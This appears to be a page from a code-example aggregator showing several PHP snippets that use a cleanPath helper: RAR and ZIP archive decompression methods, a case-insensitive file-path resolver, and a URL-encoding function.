Arquivo: Rar.php Projeto: netixx/Stock
 /**
  * Decompresses the given content
  *
  * @param  string $content
  * @return boolean
  */
 public function decompress($content)
 {
     $archive = $this->getArchive();
     if (file_exists($content)) {
         $archive = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, cleanPath($content));
     } elseif (empty($archive) || !file_exists($archive)) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception('RAR Archive not found');
     }
     $password = $this->getPassword();
     if ($password !== null) {
         $archive = rar_open($archive, $password);
     } else {
         $archive = rar_open($archive);
     }
     if (!$archive) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception("Error opening the RAR Archive");
     }
     $target = $this->getTarget();
     if (!is_dir($target)) {
         $target = dirname($target);
     }
     $filelist = rar_list($archive);
     if (!$filelist) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception("Error reading the RAR Archive");
     }
     foreach ($filelist as $file) {
         $file->extract($target);
     }
     rar_close($archive);
     return true;
 }
Exemplo n.º 28
0
/**
 * Finds a path to a target file, checking the filename and each directory
 * name in the path case-insensitively. If a target file is found, returns
 * the path with the correct, existing casing. Otherwise, returns false.
 * Optionally searches for files with the same name but alternative
 * extensions (defaults to true). Optionally searches for only files
 * ($findDir = 0), files and directories ($findDir = 1), or only
 * directories ($findDir = 2)
 *
 * @param string $path The file to search for.
 * @param bool $findAltExtensions Set false for strict extension checking.
 * @param int  $findDir Set 0 to only return paths to actual files,
 *                      Set 1 to return paths to both files and directories
 *                      Set 2 to only return paths to directories
 * @return string|bool
 */
function fileExists($path, $findAltExt = true, $findDir = 1)
{
    // This function is expecting valid path names.
    // So, if you need to trim or remove bad characters,
    // do that before sending them to this function
    // guard against bad input (such as a null path)
    $findDir = (int) $findDir;
    // 0: no, 1: yes, 2: only
    $path = (string) $path;
    if ($path === '') {
        return false;
    }
    // efficiency checks
    if (is_file($path)) {
        if ($findDir < 2) {
            return $path;
        } elseif (!$findAltExt) {
            return false;
        }
    }
    if (is_dir($path)) {
        if ($findDir > 0) {
            return $path;
        } elseif (!$findAltExt) {
            return false;
        }
    }
    // -convert Windows directory separators '\' to standard '/'
    // -remove unneeded path elements, such as '.' or 'dir/../'
    // -remove trailing slash
    // -trim each component
    // -this is so we can explode by '/' and correctly identify
    //  each path components (e.g., 'one' and 'two' from 'one\two')
    $path = cleanPath($path);
    $path = explode('/', $path);
    // if they only supplied a single component, there is the unlikely
    // case that they are searching for the root directory
    // Let's check for that, before assuming that they are looking for
    // a file or directory in the current working directory
    if (count($path) === 1) {
        $absDir = convertAbsoluteDir($path[0]);
        if ($absDir !== false) {
            // in this case, we have an absolute path of a root directory
            if ($findDir === 0) {
                return false;
            } else {
                // this will give them the actual root directory for this OS
                return $absDir;
            }
        } else {
            // in this case, just try to find a relative target
            return find_in_dir('.', $path[0], $findAltExt, $findDir);
        }
    }
    // we are going to search for the final component a bit differently,
    // since it can be either a directory or a file, so lets pull that off
    $finalComponent = array_pop($path);
    // now we need to find the directory portion of the path
    // if is_dir() cannot find it, then we will start pulling off
    // components from the end of the path until we get a directory
    // we can locate
    $dirsNotFound = array();
    while (!is_dir(implode('/', $path))) {
        // for the first dir, check if its an absolute or relative dir
        if (count($path) === 1) {
            $absDir = convertAbsoluteDir($path[0]);
            if ($absDir !== false) {
                // if absolute, set the starting path to the actual root
                $path = array($absDir);
            } else {
                $dirsNotFound[] = array_pop($path);
            }
            break;
            // checking first dir, can't go back any more
        } else {
            // move last dir in $path to start of $dirsNotFound
            $dirsNotFound[] = array_pop($path);
        }
    }
    $dirsNotFound = array_reverse($dirsNotFound);
    // correct order of dirs
    // if $path is empty, not even the first dir could be identified
    // so, we will assume its a relative path
    // otherwise, we are going to use what we could
    if ($path === array()) {
        $baseDir = '.';
    } else {
        $baseDir = implode('/', $path);
    }
    // now lets do a case-insensitive search for the rest of the dirs
    foreach ($dirsNotFound as $targetDir) {
        // use find_in_dir, but only search for dirs
        $search = find_in_dir($baseDir, $targetDir, false, 2);
        if ($search === false) {
            return false;
        }
        $baseDir .= '/' . $search;
    }
    // Huzzah! At this point, we should have found our directory,
    // and we just need to search for the final component
    $finalSearch = find_in_dir($baseDir, $finalComponent, $findAltExt, $findDir);
    if ($finalSearch === false) {
        return false;
    } else {
        $existingPath = $baseDir . '/' . $finalSearch;
        if (substr($existingPath, 0, 2) === './') {
            $existingPath = substr($existingPath, 2);
        }
        return $existingPath;
    }
}
Exemplo n.º 29
0
Arquivo: Zip.php Projeto: netixx/Stock
 /**
  * Decompresses the given content
  *
  * @param  string $content
  * @return string
  */
 public function decompress($content)
 {
     $archive = $this->getArchive();
     if (file_exists($content)) {
         $archive = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, cleanPath($content));
     } elseif (empty($archive) || !file_exists($archive)) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception('ZIP Archive not found');
     }
     $zip = new ZipArchive();
     $res = $zip->open($archive);
     $target = $this->getTarget();
     if (!empty($target) && !is_dir($target)) {
         $target = dirname($target);
     }
     if (!empty($target)) {
         $target = rtrim($target, '/\\') . DIRECTORY_SEPARATOR;
     }
     if (empty($target) || !is_dir($target)) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception('No target for ZIP decompression set');
     }
     if ($res !== true) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception($this->_errorString($res));
     }
     if (version_compare(PHP_VERSION, '5.2.8', '<')) {
         for ($i = 0; $i < $zip->numFiles; $i++) {
             $statIndex = $zip->statIndex($i);
             $currName = $statIndex['name'];
             if ($currName[0] == '/' || substr($currName, 0, 2) == '..' || substr($currName, 0, 4) == './..') {
                 require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
                 throw new Zend_Filter_Exception('Upward directory traversal was detected inside ' . $archive . ' please use PHP 5.2.8 or greater to take advantage of path resolution features of ' . 'the zip extension in this decompress() method.');
             }
         }
     }
     $res = @$zip->extractTo($target);
     if ($res !== true) {
         require_once PHP_LIBRARY_PATH . 'Zend/Filter/Exception.php';
         throw new Zend_Filter_Exception($this->_errorString($res));
     }
     $zip->close();
     return $target;
 }
Exemplo n.º 30
0
function myUrlcode($url, $encode = 1)
{
    // Make sure we have a string to work with
    //testurl http://www.playpo.co.il/??????/
    if (!empty($url)) {
        // Explode into URL keys
        $urllist = parse_url($url);
        // Make sure we have a valid result set and a query field
        if (is_array($urllist) && isset($urllist["query"])) {
            // Explode into key/value array
            $keyvalue_list = explode("&", $urllist["query"]);
            // Store resulting key/value pairs
            $keyvalue_result = array();
            foreach ($keyvalue_list as $value) {
                // Explode each individual key/value into an array
                $keyvalue = explode("=", $value);
                // Make sure we have a "key=value" array
                if (count($keyvalue) == 2) {
                    // Encode the value portion
                    $encode == 1 ? $keyvalue[1] = rawurlencode($keyvalue[1]) : ($keyvalue[1] = rawurldecode($keyvalue[1]));
                    // Add our key and encoded value into the result
                    $keyvalue_result[] = implode("=", $keyvalue);
                }
            }
            // Repopulate our query key with encoded results
            $urllist["query"] = implode("&", $keyvalue_result);
            // Build the the final output URL
        }
        //end if isset query
        if (is_array($urllist) && isset($urllist["path"])) {
            // Explode into key/value array
            $keyvalue_list2 = explode("/", $urllist["path"]);
            // Store resulting key/value pairs
            $keyvalue_result2 = array();
            foreach ($keyvalue_list2 as $value2) {
                // Encode the value portion
                $encode == 1 ? $val2 = rawurlencode($value2) : ($val2 = rawurldecode($value2));
                // Add our key and encoded value into the result
                $keyvalue_result2[] = $val2;
            }
            // Repopulate our query key with encoded results
            $urllist["path"] = implode("/", $keyvalue_result2);
            unset($keyvalue_list2, $keyvalue_result2, $keyvalue_list, $keyvalue_result);
            // Build the the final output URL
        }
        //end if isset query
        $url = (isset($urllist["scheme"]) ? $urllist["scheme"] . "://" : "") . (isset($urllist["user"]) ? $urllist["user"] . ":" : "") . (isset($urllist["pass"]) ? $urllist["pass"] . "@" : "") . (isset($urllist["host"]) ? $urllist["host"] : "") . (isset($urllist["port"]) ? ":" . $urllist["port"] : "") . (isset($urllist["path"]) ? cleanPath($urllist["path"]) : "") . (isset($urllist["query"]) ? "?" . $urllist["query"] : "") . (isset($urllist["fragment"]) ? "#" . $urllist["fragment"] : "");
        unset($urllist);
    }
    return $url;
}